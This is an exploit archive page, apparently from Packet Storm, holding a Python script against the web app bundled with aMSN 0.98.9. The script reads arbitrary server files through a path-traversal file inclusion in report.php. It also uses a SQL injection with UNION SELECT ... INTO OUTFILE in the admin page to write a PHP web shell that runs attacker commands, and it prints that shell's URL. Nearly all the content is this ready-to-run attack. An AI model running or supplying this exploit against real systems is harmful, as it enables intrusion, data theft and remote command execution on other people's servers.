seeing is believing

aMSN 0.98.9 Local File Inclusion / SQL Injection

aMSN 0.98.9 Local File Inclusion / SQL Injection
Posted Oct 14, 2013
Authored by drone

aMSN version 0.98.9 suffers from local file inclusion and remote SQL injection vulnerabilities.

tags | exploit, remote, local, vulnerability, sql injection, file inclusion
MD5 | 799c535c358309c40c005a50d54bffd2

aMSN 0.98.9 Local File Inclusion / SQL Injection

Change Mirror Download
# Exploit Title: aMSN LFI/SQLi
# Date: 10/09/2013
# Exploit author: drone (@dronesec)
# Vendor homepage: http://www.amsn-project.net
# Software link: sourceforge.net/projects/amsn/files/amsn/0.98.9/aMSN-0.98.9-tcl85-windows-installer.exe
# Version: 0.98.9
# Fixed in: SVN repositories (r12422)
# Tested on: Ubuntu 12.04 (apparmor disabled)

from argparse import ArgumentParser
import urllib2
import string
import random

"""
Preauth LFI and SQLi in the web app packaged with aMSN 0.98.9
"""

def lfi(options):
""" exploit the LFI
"""
addr = 'http://{0}{1}/bugs/report.php?lang=../../../../../{2}'.format(\
options.ip, options.root, options.lfi)
data = urllib2.urlopen(addr).read().rstrip().split("ERROR")[0]
print data

def run(options):
""" exploit lfi or sqli
"""
if options.lfi:
return lfi(options)

shell = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(5))
sqli = 'http://{0}{1}/bugs/admin/index.php?show=bug&id='.format(options.ip, options.root)

# ' UNION SELECT '<?php system($_GET['cmd']) ?>,2,3,4,5,6,7,8,9 INTO OUTFILE 'yourshell';-- -
exploit = '1\'%20UNION%20SELECT%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\',2,3,4,5,6,7,8,9%20'\
'INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'.format(options.path,shell)

urllib2.urlopen(sqli + exploit)
print '[!] Shell dropped. http://%s%s/%s.php?cmd=ls' % (options.ip, options.root, shell)

def parse_args():
parser = ArgumentParser()
parser.add_argument("-i", help='Server address', action='store', dest='ip', required=True)
parser.add_argument('-l', help='Local file inclusion', action='store', dest='lfi',
metavar='[file]')
parser.add_argument('-p', help='Path to amsn [/amsn]', action='store', dest='root',
default='/amsn')
parser.add_argument('-w', help='Path to drop shell [/var/www/amsn', dest='path',
default='/var/www/amsn')

options = parser.parse_args()
options.path = options.path if options.path[-1] != '/' else options.path[:-1]
options.root = options.root if options.root[-1] != '/' else options.root[:-1]
return options

if __name__ == "__main__":
run(parse_args())


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close